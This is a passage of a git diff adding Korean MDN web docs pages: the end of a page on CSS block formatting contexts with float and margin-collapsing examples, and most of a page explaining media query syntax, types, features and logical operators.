+ <li>다열 컨테이너({{cssxref("column-count")}} 또는 ({{cssxref("column-width")}}가 <code>auto</code>가 아닌 경우. <code>column-count: 1</code> 포함).</li>
+ <li>{{cssxref("column-span")}}이 <code>all</code>인 경우. 해당하는 요소가 다열 컨테이너 안에 위치하지 않아도 항상 새로운 블록 서식 맥락을 생성해야 합니다. (<a href="https://github.com/w3c/csswg-drafts/commit/a8634b96900279916bd6c505fda88dda71d8ec51">명세 변경</a>, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=709362">Chrome 버그</a>)</li>
+</ul>
+
+<p>블록 서식 맥락은 레이아웃에 영향을 주지만, 보통 맥락을 생성하는 요소는 아래와 같은 작용을 하기 때문에 위치 설정과 플로팅 해제를 위해 더 많이 사용합니다.</p>
+
+<ul>
+ <li>내부 플로팅 가두기</li>
+ <li>외부 플로팅 제외하기</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a> 제거</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="내부_플로팅_가두기">내부 플로팅 가두기</h3>
+
+<div id="example1">
+<p>Make float content and alongside content the same height.</p>
+
+<p>Let's have a look at a couple of these in order to see the effect creating a new <abbr title="Block Formatting Context">BFC</abbr>.</p>
+
+<p>In the following example, we have a floated element inside a <code>&lt;div&gt;</code> with a <code>border</code> applied. The content of that <code>&lt;div&gt;</code> has floated alongside the floated element. As the content of the float is taller than the content alongside it, the border of the <code>&lt;div&gt;</code> now runs through the float. As explained in the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">guide to in-flow and out of flow elements</a>, the float has been taken out of flow so the <code>background</code> and <code>border</code> of the <code>&lt;div&gt;</code> only contain the content and not the float.</p>
+
+<p><strong>using <code>overflow: auto</code></strong></p>
+
+<p>Setting <code>overflow: auto</code> or set other values than the initial value of <code>overflow: visible</code> created a new <abbr title="Block Formatting Context">BFC</abbr> containing the float. Our <code>&lt;div&gt;</code> now becomes a mini-layout inside our layout. Any child element will be contained inside it.</p>
+
+<p>The problem with using <code>overflow</code> to create a new <abbr title="Block Formatting Context">BFC</abbr> is that the <code>overflow</code> property is meant for telling the browser how you want to deal with overflowing content. There are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a <abbr title="Block Formatting Context">BFC</abbr>. In addition, it is potentially not readable for a future developer, as it might not be obvious why you used <code>overflow</code> for this purpose. If you use <code>overflow</code>, it is a good idea to comment the code to explain.</p>
+
+<p><strong>using <code>display: flow-root</code></strong></p>
+
+<p>A newer value of <code>display</code> lets us create a new <abbr title="Block Formatting Context">BFC</abbr> without any other potentially problematic side-effects. Using <code>display: flow-root</code> on the containing block creates a new <abbr title="Block Formatting Context">BFC</abbr> .</p>
+
+<p>With <code>display: flow-root;</code> on the <code>&lt;div&gt;</code>, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the bottom of the element.</p>
+
+<p>The value name of <code>flow-root</code> makes sense when you understand you are creating something that acts like the <code>root</code> element (<code>&lt;html&gt;</code> element in browser) in terms of how it creates a new context for the flow layout inside it.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+    &lt;div class="box"&gt;
+        &lt;div class="float"&gt;I am a floated box!&lt;/div&gt;
+        &lt;p&gt;I am content inside the container.&lt;/p&gt;
+    &lt;/div&gt;
+&lt;/section&gt;
+&lt;section&gt;
+    &lt;div class="box" style="overflow:auto"&gt;
+        &lt;div class="float"&gt;I am a floated box!&lt;/div&gt;
+        &lt;p&gt;I am content inside the &lt;code&gt;overflow:auto&lt;/code&gt; container.&lt;/p&gt;
+    &lt;/div&gt;
+&lt;/section&gt;
+&lt;section&gt;
+    &lt;div class="box" style="display:flow-root"&gt;
+        &lt;div class="float"&gt;I am a floated box!&lt;/div&gt;
+        &lt;p&gt;I am content inside the &lt;code&gt;display:flow-root&lt;/code&gt; container.&lt;/p&gt;
+    &lt;/div&gt;
+&lt;/section&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">section {
+    height:150px;
+}
+.box {
+    background-color: rgb(224, 206, 247);
+    border: 5px solid rebeccapurple;
+}
+.box[style] {
+    background-color: aliceblue;
+    border: 5px solid steelblue;
+}
+.float {
+    float: left;
+    width: 200px;
+    height: 100px;
+    background-color: rgba(255, 255, 255, .5);
+    border:1px solid black;
+    padding: 10px;
+}</pre>
+
+<p>{{EmbedLiveSample("example1", 200, 450)}}</p>
+
+<h3 id="Exclude_external_floats">Exclude external floats</h3>
+
+<div id="example2">
+<p>In the following example, we are using <code>display:flow-root</code> and floats to implement double columns layout, beacuse an element in the normal flow that establishes a new <abbr title="Block Formatting Context">BFC</abbr> must not overlap the margin box of any floats in the same block formatting context as the element itself.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+  &lt;div class="float"&gt;Try to resize this outer float&lt;/div&gt;
+  &lt;div class="box"&gt;&lt;p&gt;Normal&lt;/p&gt;&lt;/div&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;div class="float"&gt;Try to resize this outer float&lt;/div&gt;
+  &lt;div class="box" style="display:flow-root"&gt;&lt;p&gt;&lt;code&gt;display:flow-root&lt;/code&gt;&lt;p&gt;&lt;/div&gt;
+&lt;/section&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">section {
+    height:150px;
+}
+.box {
+    background-color: rgb(224, 206, 247);
+    border: 5px solid rebeccapurple;
+}
+.box[style] {
+    background-color: aliceblue;
+    border: 5px solid steelblue;
+}
+.float {
+    float: left;
+    overflow: hidden; /* required by resize:both */
+    resize: both;
+    margin-right:25px;
+    width: 200px;
+    height: 100px;
+    background-color: rgba(255, 255, 255, .75);
+    border: 1px solid black;
+    padding: 10px;
+}
+</pre>
+
+<p>{{EmbedLiveSample("example2", 200, 300)}}</p>
+
+<p>Rather than inline-blocks with width:&lt;percentage&gt;, in this case we don't have to specify the width of the right div.</p>
+
+<p>Note that flexbox is a more efficient way to implement muti columns layout in morden CSS.</p>
+</div>
+
+<h3 id="여백_상쇄">여백 상쇄</h3>
+
+<p>Creating a new BFC to avoid the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">margin collapsing</a> between two neighbor div:</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="blue"&gt;&lt;/div&gt;
+&lt;div class="red-outer"&gt;
+  &lt;div class="red-inner"&gt;red inner&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">.blue, .red-inner {
+  height: 50px;
+  margin: 10px 0;
+}
+
+.blue {
+  background: blue;
+}
+
+.red-outer {
+  overflow: hidden;
+  background: red;
+}
+</pre>
+
+<p>{{EmbedLiveSample("여백_상쇄", 120, 120)}}</p>
+</div>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{ cssxref("float") }}, {{ cssxref("clear") }}</li>
+</ul>
diff --git a/files/ko/web/guide/css/media_queries/index.html b/files/ko/web/guide/css/media_queries/index.html
new file mode 100644
index 0000000000..559b5805c6
--- /dev/null
+++ b/files/ko/web/guide/css/media_queries/index.html
@@ -0,0 +1,386 @@
+---
+title: 미디어 쿼리 사용하기
+slug: Web/Guide/CSS/Media_queries
+tags:
+  - Advanced
+  - CSS
+  - Guide
+  - Media
+  - Media Queries
+  - Responsive Design
+  - Web
+translation_of: Web/CSS/Media_Queries/Using_media_queries
+---
+<div>{{cssref}}</div>
+
+<p><strong>미디어 쿼리</strong>는 단말기의 유형(출력물 vs. 화면)과, 어떤 특성이나 수치(화면 해상도, {{glossary("viewport", "뷰포트")}} 너비 등)에 따라 웹 사이트나 앱의 스타일을 수정할 때 유용합니다.</p>
+
+<p>미디어 쿼리는 다음과 같은 상황에 사용할 수 있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS">CSS</a> {{cssxref("@media")}}와 {{cssxref("@import")}} <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 사용해 특정 조건에 따라 스타일을 적용할 때.</li>
+ <li>{{htmlelement("style")}}, {{htmlelement("link")}}, {{htmlelement("source")}}, 기타 다른 <a href="/ko/docs/Web/HTML">HTML</a> 요소에 <code>media</code> 특성을 사용해 특정 매체만 가리키게 할 때.</li>
+ <li>{{domxref("Window.matchMedia()")}}와 {{domxref("MediaQueryList.addListener()")}} <a href="/ko/docs/Web/JavaScript">JavaScript</a> 메서드를 사용해 <a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">미디어 상태를 판별하고 관측</a>할 때.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 이 페이지의 CSS는 시연용으로 <code>@media</code>를 사용했지만, 기본적인 구문은 모든 미디어 쿼리가 동일합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p>미디어 쿼리는 선택 사항인 미디어 유형과, 자유로운 수의 미디어 특성 표현식으로 이루어집니다. 논리 연산자를 사용해 다수의 쿼리를 다양한 방법으로 결합할 수도 있습니다. 미디어 쿼리는 대소문자를 구분하지 않습니다.</p>
+
+<p>미디어 쿼리는 (유형을 지정했다면) 문서를 보여주는 미디어의 유형이 일치하고 모든 미디어 특성 표현식의 계산값이 참일 때 참으로 계산됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{HTMLElement("link")}}의 미디어 쿼리가 <a href="http://scottjehl.github.com/CSS-Download-Tests/">거짓을 반환하더라도 스타일시트는 다운로드</a>됩니다. 그렇지만 그 안의 내용은 쿼리가 참이 되어야 적용됩니다.</p>
+</div>
+
+<h3 id="미디어_유형">미디어 유형</h3>
+
+<p>미디어 유형은 장치의 일반적인 범주를 나타냅니다. 미디어 유형은 <code>not</code>이나 <code>only</code> 논리연산자를 사용할 때를 제외하면 선택사항이며 지정하지 않으면 <code>all</code>을 사용합니다.</p>
+
+<dl>
+ <dt><code><strong>all</strong></code></dt>
+ <dd>모든 장치에 적합합니다.</dd>
+ <dt><code>print</code></dt>
+ <dd>인쇄 결과물 및 출력 미리보기 화면에 표시 중인 문서입니다.<br>
+ (<a href="/ko/docs/Web/CSS/Paged_Media">인쇄 미디어</a> 문서를 방문해 <code>print</code> 형식에서 발생 가능한 서식 문제의 정보를 확인해주세요.)</dd>
+ <dt><code>screen</code></dt>
+ <dd>주로 화면이 대상입니다.</dd>
+ <dt><code>speech</code></dt>
+ <dd>음성 합성장치 대상입니다.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>사용하지 않는 미디어 유형:</strong> CSS2.1과 <a href="https://drafts.csswg.org/mediaqueries-3/#background">Media Queries 3</a> 모듈은 여러가지 추가 유형(<code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code>, <code>aural</code>)을 정의했으나 <a href="http://dev.w3.org/csswg/mediaqueries/#media-types">Media Queries 4</a>에서 제거됐으므로 사용해선 안됩니다. <code>aural</code>은 유사한 유형인 <code>speech</code>로 대체됐습니다.</p>
+</div>
+
+<h3 id="미디어_특성">미디어 특성</h3>
+
+<p>미디어 특성은 {{glossary("user agent", "사용자 에이전트")}}, 출력 장치, 환경 등의 특징을 나타냅니다. 미디어 특성 표현식은 선택 사항이며 특성의 존재 여부와 값을 판별합니다. 각각의 미디어 특성 표현식은 괄호로 감싸야 합니다.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>이름</th>
+   <th>요약</th>
+   <th>참고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("@media/any-hover", "any-hover")}}</td>
+   <td>사용 가능한 입력 방식 중 하나로 사용자가 요소 위에 호버할 수 있는가?</td>
+   <td>Media Queries Level 4에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/any-pointer", "any-pointer")}}</td>
+   <td>사용 가능한 입력 방식 중 하나가 포인팅 장치인가? 그렇다면 얼마나 정확한가?</td>
+   <td>Media Queries Level 4에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/aspect-ratio", "aspect-ratio")}}</td>
+   <td>뷰포트의 가로세로비</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/color", "color")}}</td>
+   <td>출력 장치의 색상 채널별 비트 수, 흑백일 땐 0</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/color-gamut", "color-gamut")}}</td>
+   <td>사용자 에이전트와 출력 장치가 지원하는 색상의 대략적인 범위</td>
+   <td>Media Queries Level 4에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/color-index", "color-index")}}</td>
+   <td>출력 장치의 색상 검색 테이블(LUT) 항목 수, 존재하지 않을 땐 0</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/device-aspect-ratio", "device-aspect-ratio")}} {{obsolete_inline}}</td>
+   <td>출력 장치의 가로세로비</td>
+   <td>Media Queries Level 4에서 제거</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/device-height", "device-height")}} {{obsolete_inline}}</td>
+   <td>출력 장치 렌더링 표면의 높이</td>
+   <td>Media Queries Level 4에서 제거</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/device-width", "device-width")}} {{obsolete_inline}}</td>
+   <td>출력 장치 렌더링 표면의 너비</td>
+   <td>Media Queries Level 4에서 제거</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/display-mode", "display-mode")}}</td>
+   <td>웹 앱 매니페스트의 <code><a href="/ko/docs/Web/Manifest#display">display</a></code> 항목이 정의한 애플리케이션의 표시 모드</td>
+   <td><a href="http://w3c.github.io/manifest/#the-display-mode-media-feature">Web App Manifest 명세</a>에서 정의</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/forced-colors", "forced-colors")}}</td>
+   <td>사용자 에이전트가 색상 팔레트를 제한하는지 여부</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/grid", "grid")}}</td>
+   <td>장치가 그리드와 비트맵 스크린 중 어느 것을 사용하나?</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/height", "height")}}</td>
+   <td>뷰포트의 높이</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/hover", "hover")}}</td>
+   <td>주 입력 방식으로 사용자가 요소 위에 호버할 수 있는가?</td>
+   <td>Media Queries Level 4에서 제거</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/inverted-colors", "inverted-colors")}}</td>
+   <td>사용자 에이전트나 운영 체제가 색상을 반전 중인가?</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/light-level", "light-level")}}</td>
+   <td>주변 환경의 광도</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/monochrome", "monochrome")}}</td>
+   <td>출력 장치의, 모노크롬 프레임 버퍼의 픽셀 당 비트 수. 단색을 사용하지 않으면 0</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/orientation", "orientation")}}</td>
+   <td>뷰포트의 방향</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/overflow-block", "overflow-block")}}</td>
+   <td>콘텐츠가 블록 축 방향으로 뷰포트를 오버플로 할 경우 출력 장치가 어떻게 처리하는가?</td>
+   <td>Media Queries Level 4에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/overflow-inline", "overflow-inline")}}</td>
+   <td>콘텐츠가 인라인 축 방향으로 뷰포트를 오버플로 할 경우 스크롤 가능한가?</td>
+   <td>Media Queries Level 4에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/pointer", "pointer")}}</td>
+   <td>주 입력 방식이 포인팅 장치인가? 그렇다면 얼마나 정확한가?</td>
+   <td>Media Queries Level 4에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}</td>
+   <td>라이트/다크 색채 조합 중 사용자가 선호하는 것</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-contrast", "prefers-contrast")}}</td>
+   <td>사용자가 시스템에 두 인접 색상 간의 고대비를 요청했는지 탐지</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}</td>
+   <td>사용자가 줄어든 움직임을 선호함</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}</td>
+   <td>사용자가 줄어든 투명도를 선호함.</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/resolution", "resolution")}}</td>
+   <td>출력 장치의 픽셀 밀도</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/scan", "scan")}}</td>
+   <td>출력 장치의 스캔 절차</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/scripting", "scripting")}}</td>
+   <td>JavaScript 등 스크립트 사용 가능 여부 탐지</td>
+   <td>Media Queries Level 5에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/update-frequency", "update")}}</td>
+   <td>출력 장치가 콘텐츠의 외형을 수정할 수 있는 주기</td>
+   <td>Media Queries Level 4에서 추가</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/width", "width")}}</td>
+   <td>스크롤바를 포함한 뷰포트 너비</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="논리_연산자">논리 연산자</h3>
+
+<p><code>not</code>, <code>and<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">, </span></font></code><code>only</code>와 같은 논리 연산자를 사용해 복잡한 쿼리를 조합할 수 있습니다. 여러 미디어 쿼리를 쉼표로 구분해서 하나의 규칙으로 만들 수도 있습니다.</p>
+
+<h4 id="and"><code>and</code></h4>
+
+<p><code>and</code> 연산자는 다수의 미디어 특성을 조합하여 하나의 미디어 쿼리를 만들 때 사용합니다. 쿼리가 참이려면 모든 구성 특성이 참을 반환해야 합니다. 미디어 특성과 미디어 유형을 같이 사용할 때도 쓰입니다.</p>
+
+<h4 id="not"><code>not</code></h4>
+
+<p><code>not</code> 연산자는 미디어 쿼리를 부정하여, 쿼리가 거짓일 때만 참을 반환합니다. 쉼표로 구분한 쿼리 목록 중 하나에서 사용한 경우 전체 쿼리가 아닌 해당하는 하나의 쿼리에만 적용됩니다. <code>not</code> 연산자를 사용할 경우 <u>반드시</u> 미디어 유형도 지정해야 합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> Level 3 모듈에서는 <code>not</code> 키워드를 사용해 단일 미디어 기능을 부정할 수 없으며 전체 쿼리만 부정 가능합니다.</p>
+</div>
+
+<h4 id="only"><code>only</code></h4>
+
+<p><code>only</code> 연산자는 전체 쿼리가 일치할 때만 스타일을 적용할 때 사용하며 오래 된 브라우저가 스타일을 잘못 적용하지 못하도록 방지할 때 유용합니다. <code>only</code>를 사용하지 않은 <code>screen and (max-width: 500px)</code> 쿼리를 가정했을 때, 구형 브라우저는 쿼리를 단순히 <code>screen</code>으로만 읽고 뒷부분은 무시한 채 스타일을 적용해버립니다. <code>only</code> 연산자를 사용할 경우 <u>반드시</u> 미디어 유형도 지정해야 합니다.</p>
+
+<h4 id="쉼표"><code>,</code> (쉼표)</h4>
+
+<p>쉼표는 다수의 미디어 쿼리를 하나의 규칙으로 조합할 때 사용합니다. 쉼표 목록 내의 쿼리 각각은 나머지와 별개로 취급하므로, 단 하나의 쿼리만 참을 반환해도 규칙 전체가 참이 됩니다. 즉 쉼표는 논리 <code>or</code> 연산자처럼 동작합니다.</p>
+
+<h2 id="미디어_유형_특정하기">미디어 유형 특정하기</h2>
+
+<p>미디어 유형은 주어진 장치의 일반적인 분류를 설명합니다. 비록 웹사이트는 보통 스크린을 염두에 놓고 디자인하지만, 프린터나 오디오 기반 스크린 리더처럼 특정 장치를 대상으로 하는 스타일을 만들고 싶을 때가 있을지도 모릅니다. 예를 들어 다음의 CSS는 프린터를 특정합니다.</p>
+
+<pre class="brush: css notranslate">@media print { ... }</pre>
+
+<p>다수의 장치를 특정할 수도 있습니다. 예컨대 아래 <code>@media</code> 규칙은 두 개의 미디어 쿼리를 사용해 스크린과 인쇄 장치 모두 특정합니다.</p>
+
+<pre class="brush: css notranslate">@media screen, print { ... }</pre>
+
+<p><a href="#미디어_유형">미디어 유형</a> 구획으로 올라가서 가능한 미디어 유형의 목록을 확인해보세요. 미디어 유형은 굉장히 넓은 범위에서 장치를 설명하기 때문에 적은 수만 존재합니다. 더 세부적인 특성을 특정하려면 미디어 기능을 사용하세요.</p>
+
+<h2 id="미디어_기능_특정하기">미디어 기능 특정하기</h2>
+
+<p>미디어 기능은 주어진 {{glossary("user agent", "사용자 에이전트")}}, 출력 장치, 주변 환경의 특징을 설명합니다. 예를 들어 어떤 스타일을 와이드스크린 모니터에만, 마우스를 사용하는 컴퓨터에만, 저광도 환경에서 사용 중인 장치에서만 적용할 수 있습니다. 다음의 예제는 사용자의 주 입력 방식(마우스 등)이 요소 위에 호버할 수 있으면 스타일을 적용합니다.</p>
+
+<pre class="brush: css notranslate">@media (hover: hover) { ... }</pre>
+
+<p>많은 미디어 기능은 <u>범위 기능</u>으로, "min-" 또는 "max-"를 앞에 붙여 각각 "최소 조건"과 "최대 조건" 제약을 나타낼 수 있습니다. 다음의 CSS는 브라우저의 {{glossary("viewport", "뷰포트")}} 너비가 12450px 이하인 경우에만 스타일을 적용합니다.</p>
+
+<pre class="brush: css notranslate">@media (max-width: 12450px) { ... }</pre>
+
+<p>미디어 기능 쿼리를 값 없이 생성할 경우 주어진 기능의 값이 <code>0</code>이 아닐 때 (Level 4부터는 <code>0</code>과 <code>none</code>이 아닐 때) 중첩 스타일을 적용합니다. 그러므로 다음 CSS는 흑백이 아닌 모든 장치에 해당합니다.</p>
+
+<pre class="brush: css notranslate">@media (color) { ... }</pre>
+
+<p>어떤 기능이 현재 브라우저가 가동 중인 장치에 적용되지 않으면, 해당 미디어 기능을 포함한 표현식은 항상 거짓입니다. 예를 들어, 음성 출력 전용 장치에 화면 가로세로비는 존재하지 않으므로 다음 쿼리에 중첩된 스타일은 절대 적용되지 않습니다.</p>
+
+<pre class="brush: css notranslate">@media speech and (aspect-ratio: 11/5) { ... }</pre>
+
+<p><a href="#미디어_특성">미디어 특성</a> 각각의 참고서 문서를 방문해 더 많은 예제를 확인하세요.</p>
+
+<h2 id="복잡한_미디어_쿼리_생성">복잡한 미디어 쿼리 생성</h2>
+
+<p>때로는 사용자가 다수의 조건으로 구성된 쿼리를 생성하기 원할 수도 있습니다. 이때 논리연산자인 : <code>not</code>, <code>and</code>, 그리고 <code>only</code>를 사용하면 됩니다.  더 나아가 , 사용자는 복수의 미디어쿼리를 쉼표로 연결하여 리스트를 작성할수도 있습니다. 이렇게 함으로써 사용자는 다양한 상황에서 같은 스타일을 적용할 수 있습니다.</p>
+
+<p>앞서 예와 같이,  <code>and</code> 연산자를 사용하여 미디어유형과 미디어기능을 그룹지을 수 있습니다. 또한 <code>and</code> 를 사용하여 복수의 미디어 기능을 하나의 미디어 쿼리로 결합해낼수도 있습니다. 하지만 <code>not</code> 연산자는 미디어쿼리 자체를 부정시키는데, 근본적으로 원래의 의미를 반전시킵니다. <code>only</code> 연산자는 구형 브라우저가 스타일을 적용시키지 못하게 합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 대부분의 경우,  <code>all</code> 미디어유형은 다른 유형이 특정되지 않았을 때 디폴트로 적용됩니다. 하지만, 사용자가 <code>not</code> 이나 <code>only</code> 연산자를 사용하면, 사용자는 반드시 미디어유형을 특정해야 합니다.</p>
+</div>
+
+<h3 id="다수의_유형과_기능_조합하기">다수의 유형과 기능 조합하기</h3>
+
+<p>The <code>and</code> 연산자는 미디어기능과 미디어유형 혹은 다른 미디어 기능들과 연결해줍니다. 이 예에서는 두개의 미디어기능을 기기의 랜스케입(가로방향화면)방향으로 제한시키고 최소폭을 30 ems로 지정합니다:</p>
+
+<pre class="brush: css notranslate">@media (min-width: 30em) and (orientation: landscape) { ... }</pre>
+
+<p>화면에 달린 기기에만 스타일을 적용하는 것으로 한정시키기 위해, 사용자는 <code>screen</code> 미디어유형에 미디어기능을 연결합니다:</p>
+
+<pre class="brush: css notranslate">@media screen and (min-width: 30em) and (orientation: landscape) { ... }</pre>
+
+<h3 id="다수의_쿼리_판별">다수의 쿼리 판별</h3>
+
+<p>쉼표로 연결된 리스트를 작성하여 사용자의 기기가 다양한 미디어타입, 기능, 상태 어떤 것과 맞는 것이 있을 때 스타일을 적용하게 할 수 있습니다. 예를 들면, 다음의 룰은 사용자의 기기가 최소한 높이가 680px 이거나 화면이 세로로 긴 모드일 때 스타일이 적용됩니다:</p>
+
+<pre class="brush: css notranslate">@media (min-height: 680px), screen and (orientation: portrait) { ... }</pre>
+
+<p>위에 예에서 보면, 만일 사용자가 페이지높이가 800px인 프린터를 사용한다면, 첫번째 쿼리가 적용되기에 참 (true)값을 반환할 것입니다. 마찬가지로, 만일 사용자가 화면 높이가 480px인 스마트폰을 사용한다면 두번째 쿼리가 적용될 것이고, 미디어 문은 참값을 반환하게 됩니다.</p>
+
+<h3 id="쿼리의_뜻_반전하기">쿼리의 뜻 반전하기</h3>
+
+<p><code>not</code> 키워드는 미디어쿼리 전체의 의미를 반전시킵니다.  이 키워드는 적용된 미디어쿼리를 반전시킵니다. (즉, 쉼표로 연결된 미디어쿼리 리스트의 하나하나의 미디어쿼리에 적용되는 것이 아닙니다) <code>not</code> 키워드는 개별적인 기능의 쿼리를 부정하는데 사용할 수 없고, 오직 미디어쿼리 전체를 부정하는 데에만 사용됩니다.  <code>not</code> 연산자 키워드는 다음의 쿼리에서 보여지듯이 가장 나중에 적용됩니다:</p>
+
+<pre class="brush: css notranslate">@media not all and (monochrome) { ... }
+</pre>
+
+<p>... 그러므로 위의 쿼리는 다음과 같이 평가됩니다:</p>
+
+<pre class="brush: css notranslate">@media not (all and (monochrome)) { ... }
+</pre>
+
+<p>... 다음과 같이 되는 것이 아닙니다:</p>
+
+<pre class="brush: css example-bad notranslate">@media (not all) and (monochrome) { ... }</pre>
+
+<p>다른 예를 보자면, 다음의 미디어 쿼리는:</p>
+
+<pre class="brush: css notranslate">@media not screen and (color), print and (color) { ... }
+</pre>
+
+<p>... 이렇게 평가됩니다:</p>
+
+<pre class="brush: css notranslate">@media (not (screen and (color))), print and (color) { ... }</pre>
+
+<h3 id="구형_브라우저와의_호환성_향상하기">구형 브라우저와의 호환성 향상하기</h3>
+
+<p><code>only</code> 키워드는 미디어기능을 가진 미디어쿼리를 지원하지 않는 구형 브라우저가 주어진 스타일을 적용하지 못하게 합니다. <em>신형브라우저에는 아무런 영향을 주지 않습니다.</em></p>
+
+<pre class="brush: css notranslate">@media only screen and (color) { ... }
+</pre>
+
+<h2 id="Level_4의_구문_향상">Level 4의 구문 향상</h2>
+
+<p>미디어쿼리 Level 4 사양은 향상된 구문을 포함하는데 그를 통해 미디어쿼리가 '범위' 유형을 가진 기능을 사용할 수 있습니다. 예를 들면, 폭, 높이 처럼 말보다는 숫자에 관련된 것들입니다. Level 4 는 그러한 쿼리들을 작성하는데에 필요한 범위 구문을 제공합니다. 예를 들면, adds a <em>range context</em> for writing such queries. 폭을 표현하기 위해 <code>max-</code> 함수를 써서 사용자는 다음과 같이 쓸 수 있습니다:</p>
+
+<div class="note">
+<p><strong>Note:</strong> 미디어쿼리 Level 4 사양에는 상당수의 최신 브라우저를 지원하지만,  몇몇 미디어기능들은 잘 지원되지 않습니다. 자세한 사항은 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/@media#Browser_compatibility"><code>@media</code> browser compatibility table</a> 를 참조해 주십시요. </p>
+</div>
+
+<pre class="brush: css notranslate">@media (max-width: 30em) { ... }</pre>
+
+<p>미디어 쿼리 Level 4 에서는 다음과 같이 쓸 수 있습니다:</p>
+
+<pre class="brush: css notranslate">@media (width &lt;= 30em) { ... }</pre>
+
+<p><code>min-</code> 과 <code>max-</code> 를 사용하여 사용자가 두 값 사이에서 폭 값을 시험해 보고 싶은 상황이라면:</p>
+
+<pre class="brush: css notranslate">@media (min-width: 30em) and (max-width: 50em) { ... }</pre>
+
+<p>Level 4 구문에서는 이렇게 표현할 수 있습니다:</p>
+
+<pre class="brush: css notranslate">@media (30em &lt;= width &lt;= 50em ) { ... }
+</pre>
+
+<p> Level 4 미디어쿼리는 또한 완전한 불리언 대수법을 사용하는 미디어쿼리들과 <strong>and</strong>, <strong>not</strong>, <strong>or</strong>.연산자를 결합할 수 있습니다. </p>
+
+<h3 id="not으로_기능_부정"><code>not</code>으로 기능 부정</h3>
+
+<p>미디어기능에 <code>not()</code> 을 사용하면 쿼리에 있는 기능을 부정합니다. 예를 들어, hover를 할 수 없는 장치를 사용할 때 <code>not(hover)</code> 를 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">@media (not(hover)) { ... }</pre>
+
+<h3 id="or로_다수의_기능_판별"><code>or</code>로 다수의 기능 판별</h3>
+
